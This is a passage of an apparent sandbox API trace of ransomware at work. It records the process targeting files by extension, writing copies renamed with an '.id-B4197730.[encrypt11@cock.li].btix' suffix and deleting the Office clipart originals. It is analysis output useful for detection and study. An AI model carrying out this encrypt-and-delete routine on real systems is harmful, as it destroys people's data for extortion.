office\\root\\clipart\\pub60cor\\j0212299.wmf")) returned 1 [0158.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0158.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0158.546] lstrlenW (lpString=".doc") returned 4 [0158.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.546] lstrlenW (lpString=".docx") returned 5 [0158.546] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.546] lstrlenW (lpString=".pdf") returned 4 [0158.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.546] lstrlenW (lpString=".xls") returned 4 [0158.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.546] lstrlenW (lpString=".xlsx") returned 5 [0158.546] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.546] lstrlenW (lpString=".ppt") returned 4 [0158.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0158.546] lstrlenW (lpString=".zip") returned 4 [0158.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.546] lstrlenW (lpString=".rar") returned 4 [0158.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.547] lstrlenW (lpString=".bz2") returned 4 [0158.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.547] lstrlenW (lpString=".7z") returned 3 [0158.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0158.547] lstrlenW (lpString=".dbf") returned 4 [0158.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0158.547] lstrlenW (lpString=".1cd") returned 4 [0158.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0158.547] lstrlenW (lpString=".jpg") returned 4 [0158.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.547] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.547] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.548] GetLastError () returned 0x0 [0158.548] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x25cc, lpOverlapped=0x0) returned 1 [0158.844] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x25d0, lpOverlapped=0x0) returned 1 [0158.845] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.845] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.845] SetEndOfFile (hFile=0x378) returned 1 [0158.845] CloseHandle (hObject=0x378) returned 1 [0158.845] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.845] SetEndOfFile (hFile=0x3a0) returned 1 [0158.846] CloseHandle (hObject=0x3a0) returned 1 [0158.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf")) returned 1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0158.847] lstrlenW (lpString=".doc") returned 4 [0158.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.847] lstrlenW (lpString=".docx") returned 5 [0158.847] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.847] lstrlenW (lpString=".pdf") returned 4 [0158.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.847] lstrlenW (lpString=".xls") returned 4 [0158.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.847] lstrlenW (lpString=".xlsx") returned 5 [0158.847] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.847] lstrlenW (lpString=".ppt") returned 4 [0158.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0158.847] lstrlenW (lpString=".zip") returned 4 [0158.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.847] lstrlenW (lpString=".rar") returned 4 [0158.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.847] lstrlenW (lpString=".bz2") returned 4 [0158.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.847] lstrlenW (lpString=".7z") returned 3 [0158.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0158.847] lstrlenW (lpString=".dbf") returned 4 [0158.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0158.848] lstrlenW (lpString=".1cd") returned 4 [0158.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0158.848] lstrlenW (lpString=".jpg") returned 4 [0158.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.848] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.848] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.849] GetLastError () returned 0x0 [0158.849] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1484, lpOverlapped=0x0) returned 1 [0158.850] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1490, lpOverlapped=0x0) returned 1 [0158.851] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.851] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.851] SetEndOfFile (hFile=0x378) returned 1 [0158.851] CloseHandle (hObject=0x378) returned 1 [0158.851] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.851] SetEndOfFile (hFile=0x3a0) returned 1 [0158.852] CloseHandle (hObject=0x3a0) returned 1 [0158.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf")) returned 1 [0158.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0158.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0158.853] lstrlenW (lpString=".doc") returned 4 [0158.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.853] lstrlenW (lpString=".docx") returned 5 [0158.853] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0158.853] lstrlenW (lpString=".pdf") returned 4 [0158.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.853] lstrlenW (lpString=".xls") returned 4 [0158.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.853] lstrlenW (lpString=".xlsx") returned 5 [0158.853] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0158.853] lstrlenW (lpString=".ppt") returned 4 [0158.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0158.853] lstrlenW (lpString=".zip") returned 4 [0158.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.853] lstrlenW (lpString=".rar") returned 4 [0158.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.853] lstrlenW (lpString=".bz2") returned 4 [0158.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.853] lstrlenW (lpString=".7z") returned 3 [0158.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0158.853] lstrlenW (lpString=".dbf") returned 4 [0158.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0158.853] lstrlenW (lpString=".1cd") returned 4 [0158.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0158.853] lstrlenW (lpString=".jpg") returned 4 [0158.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.854] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.854] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217302.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.854] GetLastError () returned 0x0 [0158.854] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xd9a, lpOverlapped=0x0) returned 1 [0158.856] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xda0, lpOverlapped=0x0) returned 1 [0158.857] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.857] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.857] SetEndOfFile (hFile=0x378) returned 1 [0158.857] CloseHandle (hObject=0x378) returned 1 [0158.857] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.857] SetEndOfFile (hFile=0x3a0) returned 1 [0158.858] CloseHandle (hObject=0x3a0) returned 1 [0158.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217302.wmf")) returned 1 [0158.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF") returned 68 [0158.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF") returned 68 [0158.858] lstrlenW (lpString=".doc") returned 4 [0158.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.858] lstrlenW (lpString=".docx") returned 5 [0158.858] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0158.858] lstrlenW (lpString=".pdf") returned 4 [0158.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.858] lstrlenW (lpString=".xls") returned 4 [0158.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.858] lstrlenW (lpString=".xlsx") returned 5 [0158.858] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0158.859] lstrlenW (lpString=".ppt") returned 4 [0158.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF") returned 68 [0158.859] lstrlenW (lpString=".zip") returned 4 [0158.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.859] lstrlenW (lpString=".rar") returned 4 [0158.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.859] lstrlenW (lpString=".bz2") returned 4 [0158.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.859] lstrlenW (lpString=".7z") returned 3 [0158.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF") returned 68 [0158.859] lstrlenW (lpString=".dbf") returned 4 [0158.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF") returned 68 [0158.859] lstrlenW (lpString=".1cd") returned 4 [0158.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF") returned 68 [0158.859] lstrlenW (lpString=".jpg") returned 4 [0158.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.860] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.860] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.860] GetLastError () returned 0x0 [0158.860] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1ca8, lpOverlapped=0x0) returned 1 [0158.862] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0158.863] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.863] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.863] SetEndOfFile (hFile=0x378) returned 1 [0158.863] CloseHandle (hObject=0x378) returned 1 [0158.863] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.863] SetEndOfFile (hFile=0x3a0) returned 1 [0158.864] CloseHandle (hObject=0x3a0) returned 1 [0158.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf")) returned 1 [0158.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0158.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0158.865] lstrlenW (lpString=".doc") returned 4 [0158.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.865] lstrlenW (lpString=".docx") returned 5 [0158.865] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0158.865] lstrlenW (lpString=".pdf") returned 4 [0158.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.865] lstrlenW (lpString=".xls") returned 4 [0158.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.865] lstrlenW (lpString=".xlsx") returned 5 [0158.865] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0158.865] lstrlenW (lpString=".ppt") returned 4 [0158.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0158.865] lstrlenW (lpString=".zip") returned 4 [0158.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.865] lstrlenW (lpString=".rar") returned 4 [0158.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.865] lstrlenW (lpString=".bz2") returned 4 [0158.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.865] lstrlenW (lpString=".7z") returned 3 [0158.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0158.865] lstrlenW (lpString=".dbf") returned 4 [0158.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0158.865] lstrlenW (lpString=".1cd") returned 4 [0158.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0158.866] lstrlenW (lpString=".jpg") returned 4 [0158.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.866] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.866] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.867] GetLastError () returned 0x0 [0158.867] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x8ad6, lpOverlapped=0x0) returned 1 [0158.869] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0158.870] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.870] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.870] SetEndOfFile (hFile=0x378) returned 1 [0158.871] CloseHandle (hObject=0x378) returned 1 [0158.871] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.871] SetEndOfFile (hFile=0x3a0) returned 1 [0158.872] CloseHandle (hObject=0x3a0) returned 1 [0158.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg")) returned 1 [0158.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0158.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0158.872] lstrlenW (lpString=".doc") returned 4 [0158.872] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.872] lstrlenW (lpString=".docx") returned 5 [0158.872] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0158.873] lstrlenW (lpString=".pdf") returned 4 [0158.873] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.873] lstrlenW (lpString=".xls") returned 4 [0158.873] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.873] lstrlenW (lpString=".xlsx") returned 5 [0158.873] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0158.873] lstrlenW (lpString=".ppt") returned 4 [0158.873] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0158.873] lstrlenW (lpString=".zip") returned 4 [0158.873] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.873] lstrlenW (lpString=".rar") returned 4 [0158.873] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.873] lstrlenW (lpString=".bz2") returned 4 [0158.873] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.873] lstrlenW (lpString=".7z") returned 3 [0158.873] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0158.873] lstrlenW (lpString=".dbf") returned 4 [0158.873] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0158.873] lstrlenW (lpString=".1cd") returned 4 [0158.873] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.873] lstrlenW (lpString="C:\\Program Files\\Microsoft 